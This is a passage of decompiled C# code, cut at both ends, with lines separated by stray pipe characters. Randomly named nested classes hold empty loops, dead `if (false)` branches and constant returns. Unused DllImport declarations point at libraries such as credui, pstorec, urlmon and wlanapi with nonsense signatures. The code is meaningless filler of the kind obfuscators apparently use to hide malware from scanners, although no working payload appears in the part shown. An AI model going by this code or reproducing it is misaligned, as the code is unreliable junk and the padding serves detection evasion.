for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
if (!flag)
|
|
;
|
|
}
|
|
return "js\\V";
|
|
}
|
|
|
|
public class Îÿ2ÆÇt
|
|
{
|
|
private uint uÍÝÂ;
|
|
private string ÆqkÏÿ;
|
|
|
|
public Îÿ2ÆÇt()
|
|
{
|
|
this.uÍÝÂ = 295119373U;
|
|
this.ÆqkÏÿ = "pHe;Tw\\";
|
|
}
|
|
|
|
public void Ä809Ùg(ushort Ô_ÝaÇ1, uint oصÍ, ushort ywÉ, string Çt9)
|
|
{
|
|
if (false)
|
|
;
|
|
ulong num = 16;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= 111UL);
|
|
if (false)
|
|
;
|
|
if (false)
|
|
;
|
|
}
|
|
|
|
public void ÔÏÃÉ(
|
|
uint Òdw,
|
|
ulong ÝÉÒ,
|
|
sbyte ÚoËÓer,
|
|
long Çs,
|
|
short Óib)
|
|
{
|
|
double num = 17.0;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= 68.0);
|
|
}
|
|
|
|
public string ß6eÀi(DateTime s4, ulong apÎrµµ)
|
|
{
|
|
string str = "*FDz`Hxj4";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
sbyte num1 = 11;
|
|
do
|
|
{
|
|
if (true)
|
|
;
|
|
++num1;
|
|
}
|
|
while (num1 <= (sbyte) 94);
|
|
long num2 = 15;
|
|
do
|
|
{
|
|
++num2;
|
|
}
|
|
while (num2 <= 124L);
|
|
if (false)
|
|
;
|
|
return "(}%zX";
|
|
}
|
|
|
|
public class ÁeÚo
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ÁeÚo()
|
|
{
|
|
}
|
|
|
|
public void yj(uint gm_6, short zÆÈ5, string cj_xÀd, long ØÚÓbmw)
|
|
{
|
|
DateTime now = DateTime.Now;
|
|
uint num = 11;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= 120U);
|
|
}
|
|
|
|
public void y8f(bool Ë4Ä, ulong s0h)
|
|
{
|
|
int num1 = 6;
|
|
do
|
|
{
|
|
++num1;
|
|
}
|
|
while (num1 <= 83);
|
|
double num2 = 1.0;
|
|
do
|
|
{
|
|
short num3 = 7;
|
|
do
|
|
{
|
|
++num3;
|
|
}
|
|
while (num3 <= (short) 57);
|
|
++num2;
|
|
}
|
|
while (num2 <= 94.0);
|
|
ulong num4 = 6;
|
|
do
|
|
{
|
|
++num4;
|
|
}
|
|
while (num4 <= 105UL);
|
|
}
|
|
|
|
[DllImport("wlanapi", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern void Ä6d();
|
|
|
|
[DllImport("mpr", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern void ÉÏÀÒÔy(
|
|
int À7l80,
|
|
bool ÔÇÆß,
|
|
ushort Öaµe4j);
|
|
|
|
public ulong ilo60(float ÓÇzqÆ)
|
|
{
|
|
if (true)
|
|
{
|
|
byte num = 10;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= (byte) 105);
|
|
if (true)
|
|
{
|
|
if (false)
|
|
;
|
|
}
|
|
}
|
|
return 860894507;
|
|
}
|
|
|
|
public class ÄÃ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ÄÃ()
|
|
{
|
|
}
|
|
|
|
public DateTime Ïrµ(long mp1)
|
|
{
|
|
byte num = 18;
|
|
do
|
|
{
|
|
bool flag = false;
|
|
if (false)
|
|
;
|
|
if (!flag)
|
|
;
|
|
++num;
|
|
}
|
|
while (num <= (byte) 96);
|
|
return DateTime.Now;
|
|
}
|
|
}
|
|
|
|
public delegate byte ÙÉÆ(
|
|
ushort tm,
|
|
DateTime ÛpÆ,
|
|
ushort Ûsb3,
|
|
ushort Êm);
|
|
}
|
|
|
|
public class Û0883
|
|
{
|
|
private byte ÙÓ;
|
|
|
|
public Û0883() => this.ÙÓ = (byte) 0;
|
|
}
|
|
}
|
|
|
|
public class eÛÓ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public eÛÓ()
|
|
{
|
|
}
|
|
|
|
public void ÕÏÓi(byte ßË, DateTime bÙ, bool ÝqgÛx)
|
|
{
|
|
}
|
|
|
|
public DateTime e7brÌ(sbyte pÂ5ÿkÌ)
|
|
{
|
|
if (false)
|
|
;
|
|
if (true)
|
|
;
|
|
if (false)
|
|
;
|
|
return DateTime.Now;
|
|
}
|
|
|
|
public class Èn9
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public Èn9()
|
|
{
|
|
}
|
|
|
|
[DllImport("gsapi", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern void uúÅ(short vÿÐrÃ, byte Ûu32sa);
|
|
|
|
public ushort µ2x(ushort o5oÃ)
|
|
{
|
|
string str = "ZamHXb4j)4Ew4";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
return 25945;
|
|
}
|
|
|
|
public long Ûaqv(long ÀÉ, double ÁÑql, double kcÍdÀÿ, string gkÎ)
|
|
{
|
|
if (true)
|
|
{
|
|
bool flag = true;
|
|
string str = "!AczJZV";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
if (!flag)
|
|
;
|
|
ulong num1 = 8;
|
|
do
|
|
{
|
|
long num2 = 3;
|
|
do
|
|
{
|
|
++num2;
|
|
}
|
|
while (num2 <= 117L);
|
|
++num1;
|
|
}
|
|
while (num1 <= 71UL);
|
|
}
|
|
return 628832406;
|
|
}
|
|
|
|
public delegate uint akÉx_À(string Ø9_Á, ulong µf);
|
|
|
|
public delegate void ßÂ9(float bi, long r5fv6, int ÑgÕ4);
|
|
|
|
public class ÉËßÇ5ÿ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ÉËßÇ5ÿ()
|
|
{
|
|
}
|
|
|
|
public class ÙÈa64
|
|
{
|
|
private ulong ºµÉØËd;
|
|
private Decimal c3Õe;
|
|
private sbyte ßcfµ;
|
|
private bool ÎqÄÚ;
|
|
|
|
public ÙÈa64()
|
|
{
|
|
this.ºµÉØËd = 1921354434UL;
|
|
this.c3Õe = 1409353273M;
|
|
this.ßcfµ = (sbyte) -20;
|
|
this.ÎqÄÚ = true;
|
|
}
|
|
|
|
public delegate void Éb(bool qØÐÃ, long bÂ2Õ, int jdzj3);
|
|
}
|
|
}
|
|
}
|
|
|
|
public delegate void Êsm(Decimal wxËÂÊn);
|
|
}
|
|
}
|
|
|
|
public class ÙkÍ
|
|
{
|
|
private DateTime ËxÐ0Ã;
|
|
|
|
public ÙkÍ() => this.ËxÐ0Ã = DateTime.Now;
|
|
|
|
public delegate float ÝÄtÔle(string tÙ6Å, bool fiebcd, ulong Êf4Ö0);
|
|
|
|
public delegate void cwz(
|
|
short yrÒÀÏ,
|
|
bool zÉbÌqØ,
|
|
Decimal Ãxp5É,
|
|
byte kÏqÒe,
|
|
float bÛÛ7);
|
|
|
|
public class Ëw3ÏÜv
|
|
{
|
|
private byte xbÕÒ7Ã;
|
|
|
|
public Ëw3ÏÜv() => this.xbÕÒ7Ã = (byte) 95;
|
|
|
|
public void Éy2(
|
|
int kÍoÖÐ,
|
|
byte ÿ3,
|
|
Decimal kÁiÛ,
|
|
sbyte qrÃ,
|
|
ushort oÄÒmºv)
|
|
{
|
|
string str1 = "PsJXs:E";
|
|
int index1 = 0;
|
|
for (int length1 = str1.Length; index1 < length1; ++index1)
|
|
{
|
|
char ch1 = str1[index1];
|
|
string str2 = "eH>e)E92";
|
|
int index2 = 0;
|
|
for (int length2 = str2.Length; index2 < length2; ++index2)
|
|
{
|
|
char ch2 = str2[index2];
|
|
short num1 = 10;
|
|
do
|
|
{
|
|
++num1;
|
|
}
|
|
while (num1 <= (short) 91);
|
|
short num2 = 20;
|
|
do
|
|
{
|
|
++num2;
|
|
}
|
|
while (num2 <= (short) 104);
|
|
byte num3 = 0;
|
|
do
|
|
{
|
|
++num3;
|
|
}
|
|
while (num3 <= (byte) 96);
|
|
}
|
|
}
|
|
}
|
|
|
|
public Decimal Þa8()
|
|
{
|
|
uint num1 = 17;
|
|
do
|
|
{
|
|
sbyte num2 = 1;
|
|
do
|
|
{
|
|
++num2;
|
|
}
|
|
while (num2 <= (sbyte) 85);
|
|
if (false)
|
|
;
|
|
++num1;
|
|
}
|
|
while (num1 <= 80U);
|
|
return 0M;
|
|
}
|
|
|
|
public class ÖÞÖÝaÌ
|
|
{
|
|
private ulong efÍ;
|
|
|
|
public ÖÞÖÝaÌ() => this.efÍ = 1392574999UL;
|
|
|
|
[DllImport("msvcrt", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern ulong iÕi(
|
|
[MarshalAs(UnmanagedType.VBByRefStr)] ref string ÇÑÛÙ,
|
|
ulong Òh2,
|
|
byte tÍÎÕÀf,
|
|
int Ñft);
|
|
|
|
public float ÿÝf(DateTime g3, float ßÀº)
|
|
{
|
|
if (true)
|
|
{
|
|
short num1 = 17;
|
|
do
|
|
{
|
|
++num1;
|
|
}
|
|
while (num1 <= (short) 60);
|
|
if (true)
|
|
;
|
|
long num2 = 2;
|
|
do
|
|
{
|
|
++num2;
|
|
}
|
|
while (num2 <= 82L);
|
|
}
|
|
return -24188f;
|
|
}
|
|
|
|
public void ÚyÌ(byte ß, ushort Ô3Ëe6, uint jf, bool ÊÔ9ÔÉ)
|
|
{
|
|
string str = "'}nW6";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
int num1 = 18;
|
|
do
|
|
{
|
|
++num1;
|
|
}
|
|
while (num1 <= 80);
|
|
ushort num2 = 6;
|
|
do
|
|
{
|
|
++num2;
|
|
}
|
|
while (num2 <= (ushort) 54);
|
|
}
|
|
}
|
|
|
|
public class x1
|
|
{
|
|
private short kÏË7;
|
|
private DateTime Èicf1;
|
|
|
|
public x1()
|
|
{
|
|
this.kÏË7 = (short) 30108;
|
|
this.Èicf1 = DateTime.Now;
|
|
}
|
|
|
|
public void bpkx(byte Ç_Åmst, long Ôfp, sbyte Òi, uint ÐwÖÒx)
|
|
{
|
|
if (false)
|
|
;
|
|
if (false)
|
|
;
|
|
}
|
|
|
|
public double ÍÕbeÌ2(
|
|
double ÔÌÉmÝÖ,
|
|
uint ÌÏÂÃÅÀ,
|
|
DateTime Ð61,
|
|
double ÄwÏÄ,
|
|
sbyte ÿwjl3)
|
|
{
|
|
if (true)
|
|
{
|
|
double num = 6.0;
|
|
do
|
|
{
|
|
if (false)
|
|
;
|
|
++num;
|
|
}
|
|
while (num <= 45.0);
|
|
}
|
|
return -16267.0;
|
|
}
|
|
|
|
[DllImport("glut32", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern void ÂÊËÂÛ();
|
|
|
|
public short ÖÒÍÇÔf(
|
|
byte ÊÐÞÚÜ,
|
|
string ÆxzÖ,
|
|
short ËwÆkÿ5,
|
|
string u6Ï1ÛÓ,
|
|
string hÎÂtz)
|
|
{
|
|
if (true)
|
|
{
|
|
string str = "wS(-;p";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
}
|
|
if (true)
|
|
{
|
|
if (false)
|
|
;
|
|
if (false)
|
|
;
|
|
}
|
|
return 299;
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
public delegate void cwoj(uint dÑ, float Õ7ÈÐ43);
|
|
}
|
|
|
|
public class ÇÉoeÿz
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ÇÉoeÿz()
|
|
{
|
|
}
|
|
|
|
[DllImport("credui", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern void Ðz(int ÓppÞÏg);
|
|
|
|
public class ÍÖÓ
|
|
{
|
|
private uint jÜhw;
|
|
private string Ïn;
|
|
|
|
public ÍÖÓ() => this.Ïn = "2x(r6<]6b~pqX";
|
|
|
|
public int ÃÙoÚÜ(
|
|
short ÄfµÝÀ,
|
|
ushort hÐgr,
|
|
uint ÇjÎs,
|
|
DateTime Ücj9i,
|
|
uint Ûe)
|
|
{
|
|
int num1 = 0;
|
|
do
|
|
{
|
|
float num2 = 14f;
|
|
do
|
|
{
|
|
++num2;
|
|
}
|
|
while ((double) num2 <= 30.0);
|
|
int num3 = 20;
|
|
do
|
|
{
|
|
++num3;
|
|
}
|
|
while (num3 <= 47);
|
|
if (true)
|
|
{
|
|
DateTime now = DateTime.Now;
|
|
}
|
|
++num1;
|
|
}
|
|
while (num1 <= 60);
|
|
return -1004937781;
|
|
}
|
|
|
|
public void Â9gÇÙÙ()
|
|
{
|
|
bool flag = true;
|
|
if (true)
|
|
;
|
|
if (!flag)
|
|
;
|
|
}
|
|
|
|
public class Ôd
|
|
{
|
|
private float ÑÔqÐÞ;
|
|
private float Ïzej8ÿ;
|
|
|
|
public Ôd() => this.Ïzej8ÿ = 15095f;
|
|
|
|
public void ÊÈk(
|
|
long ÃhÄ1Ó,
|
|
ushort ÃÕ4Ñ4,
|
|
ushort Évg1io,
|
|
float ØjÔ)
|
|
{
|
|
if (true)
|
|
{
|
|
float num = 19f;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while ((double) num <= 126.0);
|
|
}
|
|
string str = ">D/5ze";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
}
|
|
|
|
public class ow_Ð7Ï
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ow_Ð7Ï()
|
|
{
|
|
}
|
|
|
|
[DllImport("comctl32", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern void Ö4ÿØ(int ÈÀ, sbyte zÀfÊsº);
|
|
|
|
[DllImport("xolehlp", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern void ÿgjº(ulong gmØ);
|
|
|
|
public class ÈÊÖÓ
|
|
{
|
|
private string Ök;
|
|
|
|
public ÈÊÖÓ() => this.Ök = "#\\ ^K-RRT";
|
|
|
|
[DllImport("urlmon", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern ulong uÅ4µ3(short ÍÐxmj);
|
|
|
|
public void ºÀk(
|
|
string Ø1h_7,
|
|
DateTime ºÖÌÜØ,
|
|
double ÃËε,
|
|
float ÊÄÔjÞj)
|
|
{
|
|
ulong num = 8;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= 46UL);
|
|
}
|
|
|
|
public class ÈÉÓÜj
|
|
{
|
|
private string Â˵Ái;
|
|
private ushort ÇslÿÒÏ;
|
|
private float ße0Ü3;
|
|
|
|
public ÈÉÓÜj()
|
|
{
|
|
this.Â˵Ái = "DNTY-X2[T]2";
|
|
this.ÇslÿÒÏ = (ushort) 26247;
|
|
this.ße0Ü3 = 0.0f;
|
|
}
|
|
|
|
[DllImport("oleacc", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern void ÓÌÕ([MarshalAs(UnmanagedType.VBByRefStr)] ref string ÏmeÖ);
|
|
|
|
[DllImport("msvcrt", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern ushort ËiÜÇuº(int ÝÊ);
|
|
|
|
public void iÛÙ2k(
|
|
Decimal ÅrÇ,
|
|
bool i7lØhÉ,
|
|
long cÒ,
|
|
Decimal ÉÆÅ6)
|
|
{
|
|
if (true)
|
|
;
|
|
Decimal limit = 45M;
|
|
Decimal num = 3M;
|
|
while (ObjectFlowControl.ForLoopControl.ForNextCheckDec(num, limit, 1M))
|
|
num = Decimal.Add(num, 1M);
|
|
}
|
|
|
|
public delegate short j6vn(
|
|
ushort Ùam6Ô,
|
|
byte ÅÍ4Å,
|
|
string ÄÀgb);
|
|
}
|
|
|
|
public delegate uint qÅÉÝ();
|
|
|
|
public class ºÉËÓÙ
|
|
{
|
|
private ushort fÈÍÕÁÜ;
|
|
private uint ÑjÏÕiq;
|
|
|
|
public ºÉËÓÙ()
|
|
{
|
|
this.fÈÍÕÁÜ = (ushort) 15641;
|
|
this.ÑjÏÕiq = 0U;
|
|
}
|
|
|
|
public void Ü6Þ(Decimal Þl)
|
|
{
|
|
if (false)
|
|
return;
|
|
string str1 = "sD8.%c@[7O^>";
|
|
int index1 = 0;
|
|
for (int length = str1.Length; index1 < length; ++index1)
|
|
{
|
|
char ch = str1[index1];
|
|
}
|
|
string str2 = "[pz7Q0yL0";
|
|
int index2 = 0;
|
|
for (int length = str2.Length; index2 < length; ++index2)
|
|
{
|
|
char ch = str2[index2];
|
|
}
|
|
}
|
|
|
|
public uint ÕßyÛ(
|
|
bool gÁÏ,
|
|
ushort Ãb,
|
|
byte Úug,
|
|
uint ÝÅbÂ7a,
|
|
ushort lÆÚeÚ)
|
|
{
|
|
if (true)
|
|
;
|
|
if (true)
|
|
;
|
|
return 671087499;
|
|
}
|
|
|
|
public delegate void vÄoÎØ(
|
|
DateTime Ärw,
|
|
short Ñÿqµ,
|
|
int Þ5,
|
|
double kÚ);
|
|
}
|
|
|
|
public class p6oÖ
|
|
{
|
|
private Decimal gÔ;
|
|
|
|
public p6oÖ() => this.gÔ = 669000775M;
|
|
|
|
public void pdzuÈ(string ÂÏÿ)
|
|
{
|
|
sbyte num1 = 9;
|
|
do
|
|
{
|
|
++num1;
|
|
}
|
|
while (num1 <= (sbyte) 54);
|
|
string str = "1Q<U+";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
short num2 = 12;
|
|
do
|
|
{
|
|
if (false)
|
|
;
|
|
++num2;
|
|
}
|
|
while (num2 <= (short) 37);
|
|
}
|
|
}
|
|
|
|
[DllImport("pstorec", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern int f1Úm(
|
|
long µ7pÍÛÝ,
|
|
bool ÂmÁid,
|
|
sbyte Í5ÕÉË);
|
|
|
|
[DllImport("wtsapi32", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern double ÅØ(DateTime ÂÕØ, short gzs1vÛ);
|
|
}
|
|
}
|
|
}
|
|
|
|
public delegate void gÑ(short Ö5ÑÚÁ, uint ÌÁvxÍ);
|
|
|
|
public delegate void mk();
|
|
|
|
public class ÑÃ1
|
|
{
|
|
private sbyte Ìjd;
|
|
|
|
public ÑÃ1() => this.Ìjd = (sbyte) -18;
|
|
|
|
public void Ým(byte Ñ9, short fu)
|
|
{
|
|
if (false)
|
|
;
|
|
if (false)
|
|
;
|
|
}
|
|
|
|
public void vi(uint jß, ushort k1g, DateTime Ñß, string ß7)
|
|
{
|
|
string str = "F:w";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
int num1 = 3;
|
|
do
|
|
{
|
|
++num1;
|
|
}
|
|
while (num1 <= 63);
|
|
byte num2 = 5;
|
|
do
|
|
{
|
|
if (true)
|
|
;
|
|
++num2;
|
|
}
|
|
while (num2 <= (byte) 44);
|
|
}
|
|
if (false)
|
|
;
|
|
}
|
|
|
|
public void ÁÚÕ(short ßt)
|
|
{
|
|
if (true)
|
|
;
|
|
}
|
|
|
|
public void ek(
|
|
sbyte ÞÞy8h,
|
|
short µiwbi,
|
|
Decimal ÖoÌÍ0,
|
|
short nvÇ,
|
|
double cf7ÈÒ)
|
|
{
|
|
}
|
|
|
|
public class Äzm
|
|
{
|
|
private byte ÜÊxÑ;
|
|
|
|
public Äzm() => this.ÜÊxÑ = (byte) 174;
|
|
|
|
[DllImport("imm32", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern void ÒraÒ(
|
|
short hurd89,
|
|
double fÂ5xh,
|
|
ulong ÞgÌ,
|
|
Decimal Àe);
|
|
}
|
|
|
|
public delegate void mtvß(
|
|
sbyte ÜÍÙzw,
|
|
string aÝ,
|
|
short ljb,
|
|
string aÅj_2);
|
|
}
|
|
}
|
|
|
|
public class uÐÔ3rk
|
|
{
|
|
private bool pÃÄÀ;
|
|
|
|
public uÐÔ3rk() => this.pÃÄÀ = true;
|
|
|
|
public uint hÜÄ(bool iaÁºÜ, bool ÃËlkÎË, Decimal ÔfÓ)
|
|
{
|
|
if (true)
|
|
{
|
|
if (true)
|
|
{
|
|
string str = "VI>X}j";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
}
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
public byte È48ÏÆv(
|
|
long ÚÊ,
|
|
short bex7Ã,
|
|
string aÀÓ,
|
|
ulong f25l,
|
|
long nÖl)
|
|
{
|
|
if (false)
|
|
{
|
|
if (true)
|
|
;
|
|
if (false)
|
|
;
|
|
string str = "**I'";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
}
|
|
return 31;
|
|
}
|
|
|
|
public class Åm
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public Åm()
|
|
{
|
|
}
|
|
|
|
public byte zoÄÖ(
|
|
Decimal uÖÊØpÞ,
|
|
float Âmº,
|
|
bool ÓxÖzÈ3,
|
|
bool ÖÜllz)
|
|
{
|
|
bool flag = true;
|
|
if (false)
|
|
;
|
|
if (!flag)
|
|
;
|
|
return 145;
|
|
}
|
|
|
|
public delegate void Ï();
|
|
|
|
public class ÜÆit
|
|
{
|
|
private string m33;
|
|
private double Édjx7;
|
|
|
|
public ÜÆit()
|
|
{
|
|
this.m33 = "2/B";
|
|
this.Édjx7 = -10323.6;
|
|
}
|
|
}
|
|
|
|
public class qËu
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public qËu()
|
|
{
|
|
}
|
|
|
|
public bool h2Á(uint t3Ê)
|
|
{
|
|
if (false)
|
|
;
|
|
return false;
|
|
}
|
|
|
|
[DllImport("shell32", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern long q6(long bÌ, sbyte ÓËa, bool غ);
|
|
|
|
[DllImport("fwpuclnt", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern bool Ùk_4Á(
|
|
float ÚmfÌÑ,
|
|
[MarshalAs(UnmanagedType.VBByRefStr)] ref string ÖÃØÓØu,
|
|
Decimal Ì1ÿ8uo,
|
|
Decimal hÉ8Íxµ,
|
|
ulong ÙsvÿÆ);
|
|
}
|
|
|
|
public delegate void Ø2lË6Ï();
|
|
}
|
|
|
|
public class cÙµÚvß
|
|
{
|
|
private byte gc;
|
|
private float À1ÎÅ;
|
|
|
|
public cÙµÚvß() => this.À1ÎÅ = 16754.4f;
|
|
|
|
public short fÌ2ÀsØ(short Ûvß)
|
|
{
|
|
if (true)
|
|
{
|
|
double num1 = 16.0;
|
|
do
|
|
{
|
|
if (false)
|
|
;
|
|
int num2 = 6;
|
|
do
|
|
{
|
|
++num2;
|
|
}
|
|
while (num2 <= 100);
|
|
long num3 = 20;
|
|
do
|
|
{
|
|
++num3;
|
|
}
|
|
while (num3 <= 82L);
|
|
++num1;
|
|
}
|
|
while (num1 <= 56.0);
|
|
}
|
|
return 0;
|
|
}
|
|
|
|
public void yÓb(short iÐÝÓÙ)
|
|
{
|
|
string str = "tW#<fJ<8";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
}
|
|
|
|
public delegate sbyte m(uint zuÖ, int a, byte Â, byte ÏÕ);
|
|
|
|
public class ÏÞ
|
|
{
|
|
private double ÏnÝn;
|
|
|
|
[DebuggerNonUserCode]
|
|
public ÏÞ()
|
|
{
|
|
}
|
|
|
|
public byte ryÿ8Ü()
|
|
{
|
|
string str = "W2b(ic";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
return 13;
|
|
}
|
|
|
|
public float ÄkÅ(ushort ÊsÑiµo, Decimal ÈØ, sbyte Ého8hº)
|
|
{
|
|
string str1 = "6t";
|
|
int index1 = 0;
|
|
for (int length1 = str1.Length; index1 < length1; ++index1)
|
|
{
|
|
char ch1 = str1[index1];
|
|
double num1 = 11.0;
|
|
do
|
|
{
|
|
string str2 = "J&zk/c(";
|
|
int index2 = 0;
|
|
for (int length2 = str2.Length; index2 < length2; ++index2)
|
|
{
|
|
char ch2 = str2[index2];
|
|
}
|
|
++num1;
|
|
}
|
|
while (num1 <= 83.0);
|
|
ushort num2 = 3;
|
|
do
|
|
{
|
|
++num2;
|
|
}
|
|
while (num2 <= (ushort) 48);
|
|
}
|
|
return 31582.05f;
|
|
}
|
|
}
|
|
|
|
public class Ø2ÖÓ
|
|
{
|
|
private ushort z0y;
|
|
|
|
public Ø2ÖÓ() => this.z0y = (ushort) 15815;
|
|
}
|
|
}
|
|
}
|
|
|
|
public delegate void ÐÊ_Îf(
|
|
DateTime fÙj4p1,
|
|
DateTime Éf,
|
|
int r,
|
|
sbyte Äo4ºÜ,
|
|
double Îq);
|
|
}
|
|
}
|
|
}
|
|
}
|
|
}
|
|
|
|
public class Ô6Ô
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public Ô6Ô()
|
|
{
|
|
}
|
|
|
|
public float yÌ(ulong È, float Ù0, DateTime dÉÖw, double Õ8ºlÃ, short zvÈÿ)
|
|
{
|
|
Decimal limit = 62M;
|
|
for (Decimal num1 = 7M; ObjectFlowControl.ForLoopControl.ForNextCheckDec(num1, limit, 1M); num1 = Decimal.Add(num1, 1M))
|
|
{
|
|
if (true)
|
|
;
|
|
uint num2 = 2;
|
|
do
|
|
{
|
|
++num2;
|
|
}
|
|
while (num2 <= 117U);
|
|
if (false)
|
|
;
|
|
bool flag = true;
|
|
if (false)
|
|
;
|
|
if (!flag)
|
|
;
|
|
}
|
|
return 0.0f;
|
|
}
|
|
|
|
public Decimal Ù4ÚryÛ(float Åc)
|
|
{
|
|
if (true)
|
|
;
|
|
return -563012958M;
|
|
}
|
|
|
|
public class ÐgÍ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ÐgÍ()
|
|
{
|
|
}
|
|
|
|
public int Ñ(sbyte z16ÕËÿ)
|
|
{
|
|
bool flag = true;
|
|
sbyte num1 = 3;
|
|
do
|
|
{
|
|
Decimal limit = 100M;
|
|
Decimal num2 = 14M;
|
|
while (ObjectFlowControl.ForLoopControl.ForNextCheckDec(num2, limit, 1M))
|
|
num2 = Decimal.Add(num2, 1M);
|
|
++num1;
|
|
}
|
|
while (num1 <= (sbyte) 68);
|
|
if (!flag)
|
|
;
|
|
return 0;
|
|
}
|
|
|
|
public delegate void Û(float ÑÎ1ÙÈÇ, int s);
|
|
}
|
|
|
|
public delegate void muvÉÕ(int ams, ushort µnÕÅÙe, DateTime ÅÂÉË);
|
|
|
|
public class h7Î
|
|
{
|
|
private ushort ÍÚ;
|
|
|
|
public h7Î() => this.ÍÚ = (ushort) 10442;
|
|
|
|
[DllImport("shell32", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern sbyte ÈØi1tj(
|
|
double º,
|
|
short ßÖÆ5,
|
|
Decimal kÖ1uez,
|
|
bool ºÝ68,
|
|
DateTime ÿ0ÄÊ);
|
|
|
|
public short fÍbÕaÌ(short bvºota, long Ú0Ú)
|
|
{
|
|
int num = 11;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= 24);
|
|
return 12155;
|
|
}
|
|
|
|
public class À
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public À()
|
|
{
|
|
}
|
|
|
|
public void i(float gb_)
|
|
{
|
|
bool flag = true;
|
|
int num = 3;
|
|
do
|
|
{
|
|
string str = "2N<W ";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
}
|
|
++num;
|
|
}
|
|
while (num <= 89);
|
|
if (!flag)
|
|
;
|
|
if (false)
|
|
;
|
|
}
|
|
|
|
public class c
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public c()
|
|
{
|
|
}
|
|
|
|
public DateTime kl6Â(Decimal uÿÄÂÕ)
|
|
{
|
|
if (false)
|
|
{
|
|
byte num = 7;
|
|
do
|
|
{
|
|
++num;
|
|
}
|
|
while (num <= (byte) 85);
|
|
}
|
|
return DateTime.Now;
|
|
}
|
|
|
|
public class ÐÄÕÉ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public ÐÄÕÉ()
|
|
{
|
|
}
|
|
|
|
public void ÜÖÃ(float nbÁ5ÛÉ, string zvÖÊÜÔ, byte ÖÚß4Ñ)
|
|
{
|
|
if (true)
|
|
{
|
|
Decimal limit = 70M;
|
|
for (Decimal num = 16M; ObjectFlowControl.ForLoopControl.ForNextCheckDec(num, limit, 1M); num = Decimal.Add(num, 1M))
|
|
{
|
|
if (false)
|
|
;
|
|
}
|
|
}
|
|
if (true)
|
|
return;
|
|
string str = "Pz2g(t";
|
|
int index = 0;
|
|
for (int length = str.Length; index < length; ++index)
|
|
{
|
|
char ch = str[index];
|
|
if (false)
|
|
;
|
|
}
|
|
}
|
|
|
|
public delegate uint dÚ(ushort Ñ̵ÂÚ2, Decimal ÆÆ9e, bool nÜÉ);
|
|
|
|
public class hÁ1fo
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public hÁ1fo()
|
|
{
|
|
}
|
|
|
|
[DllImport("uxtheme", CharSet = CharSet.Ansi, SetLastError = true)]
|
|
public static extern void aÑÿÓ(byte Ç_5Ñ);
|
|
|
|
public class pÐÌ
|
|
{
|
|
[DebuggerNonUserCode]
|
|
public pÐÌ()
|
|
{
|
|
}
|
|
|
|
public void Ë(Decimal vØ, int jm)
|
|
